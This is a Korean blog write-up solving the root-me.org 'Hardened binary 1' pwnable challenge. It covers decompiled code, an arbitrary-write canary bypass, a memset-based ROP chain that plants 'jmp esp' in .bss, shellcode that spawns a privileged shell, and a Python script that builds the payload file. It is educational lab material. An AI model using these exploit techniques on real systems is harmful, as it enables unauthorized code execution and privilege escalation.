본문 바로가기

Security

[Pwnable] root-me.org/Hardened binary 1

Evernote Export

root-me.org Hardened binary 1 문제 (*쉘 코드를 통해 바로 쉘을 띄울 경우 Segment falut를 출력하며 바로 띄우지 않고 다른 방법을 통해 쉘을 띄워야 공격이 성공한다)


파일을 IDA를 통해 열고 hexray를 실행

main
int __cdecl main(signed int a1, int a2)
{
  int v2; // ecx@2
  int result; // eax@9
  int second_fgets; // [sp+2Ch] [bp-1024h]@5
  int first_fgets; // [sp+30h] [bp-1020h]@5
  FILE *fd; // [sp+34h] [bp-101Ch]@3
  int buffer_4000; // [sp+38h] [bp-1018h]@3
  int buffer_20; // [sp+1038h] [bp-18h]@5
  int v9; // [sp+104Ch] [bp-4h]@1

  v9 = *MK_FP(__GS__, 20);
  if ( a1 > 1 )
  {
    memset(&buffer_4000, 0, 0x1000u);
    fd = fopen(*(const char **)(a2 + 4), "r");
    if ( fd )
    {
      while ( fgets(( char *)&buffer_20, 20, fd) )
      {
        first_fgets = atoll((const char *)&buffer_20);
        fgets(( char *)&buffer_20, 20, fd);
        second_fgets = atoll((const char *)&buffer_20);
        if ( first_fgets && second_fgets )
          insert(second_fgets, first_fgets, &buffer_4000);
      }
    }
  }
  else
  {
    printf("\t Usage:%s <file>\n", *(_DWORD *)a2);
  }
  result = 0;
  if ( *MK_FP(__GS__, 20) != v9 )
    __stack_chk_fail(v2, *MK_FP(__GS__, 20) ^ v9);
  return result;
}

내부를 보면 argv를 통해 file을 열고 그 곳에서 fgets를 이용하여 데이터를 읽어 atoll 함수를 이용하여 숫자로 바꾼다.

이후 그렇게 바뀐 숫자를 매개변수로 이용하여 insert 함수를 실행한다.

insert
int __fastcall insert(int a1, int a2, int second_fgets, int first_fgets, int buffer_4000)
{
  int v5; // ST1C_4@1
  int result; // eax@1

  v5 = *MK_FP(__GS__, 20);
  *(_DWORD *)(buffer_4000 + 4 * second_fgets) = first_fgets;
  result = *MK_FP(__GS__, 20) ^ v5;
  if ( *MK_FP(__GS__, 20) != v5 )
    __stack_chk_fail(a1, first_fgets);
  return result;
}

insert 함수 내부에서는 두 번째로 받아들인 second_fgets 변수를 index로 하여 first_fgets 값을 대입한다.

이 문제에서는 Stack Protect가 걸려있으나 insert 내부에서 임의의 주소에 값을 대입할 수 있으므로 Canary를 침범하지 않고 공격이 가능하다.

또한 아래 그림과 같이 스택에는 실행 권한이 존재한다.

이를 통해 공격 시나리오를 생각 하자면


memset@plt를 이용하여 고정 영역에 jmp esp opcode를 복사하고 그 값을 ret에 넣고 그 뒤에 쉘 코드를 넣게 되면 eip는 jmp esp를 통해 바로 다음 stack을 가리키게 된다.

original : [buffer] [canary] [sfp] [ret]
attack   : [buffer] [canary] [sfp] [memset] [pppr] [custom stack] [jmp esp] [1] [memset] [pppr] [custom stack] [jmp esp] [1] [custom stack] [shell code]

공격

memset plt를 확인

pop pop pop ret Gadeget 확인

bss 영역 확인

쉘 코드 작성 ( execve("/tmp/csj/test", 0, 0) )
\x31\xd2                        
\x6a\x0b                         
\x58                                   
\x52
\x68\x65\x73\x74\x00 // push /tmp/csj/test
\x68\x6a\x2f\x2f\x74
\x68\x2f\x2f\x63\x73
\x68\x2f\x74\x6d\x70
\x89\xe3
\x52
\x53
\x89\xe1
\xcd\x80

test.c 작성
#include <stdio.h>
#include <unistd.h>

void main()
{
       setregid(getegid(), getegid());
       setreuid(geteuid(), geteuid());

       execve( "/bin/sh", 0, 0);

        return ;
}

memset gadget들과 쉘 코드를 문제의 fgets로 불러오게 할 파일로 작성
#!/usr/bin/python

#execve(/tmp/csj/test)

shellcode = """
\x31\xd2\x6a\x0b
\x58\x52\x68\x65
\x73\x74\x00\x68
\x6a\x2f\x2f\x74
\x68\x2f\x2f\x63
\x73\x68\x2f\x74
\x6d\x70\x89\xe3
\x52\x53\x89\xe1
\xcd\x80
"""

count = 1033
jmpesp="0xfee4"

memset = 0x80483f4
pppr = 0x8048736
bss = 0x0804a008

print "%-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d %-19d%-18d" % (memset, count, pppr, count+1, bss, count+2, 0xff, count+3, 0x01, count+4, memset, count+5, pppr, count+6, bss+1, count+7, 0xe4, count+8, 0x01, count+9, bss, count+10, 0x0b6ad231, count+11, 0x65685258, count+12, 0x68007473, count+13, 0x742f2f6a, count+14, 0x632f2f68, count+15, 0x742f6873, count+16, 0xe389706d, count+17, 0xe1895352, count+18, 0x80cd, count+19)

해당 파이썬 코드를 실행하면 포맷에 맞게 파일이 생성

이렇게 생성된 파일을 매개변수로 해서 파일을 실행하면 공격이 성공한다.


'Security' 카테고리의 다른 글

[Pwnable] 2013 HDCON 5번 luckyzzang exploit  (0) 2014.02.18
[Pwnable] Exploit Exercises  (0) 2013.08.09
[ Pwnable ] SIS/System 3  (0) 2013.04.01
[ Pwnable ] SIS / System 2  (0) 2013.04.01
[ Pwnable ] SIS / System 1  (0) 2013.04.01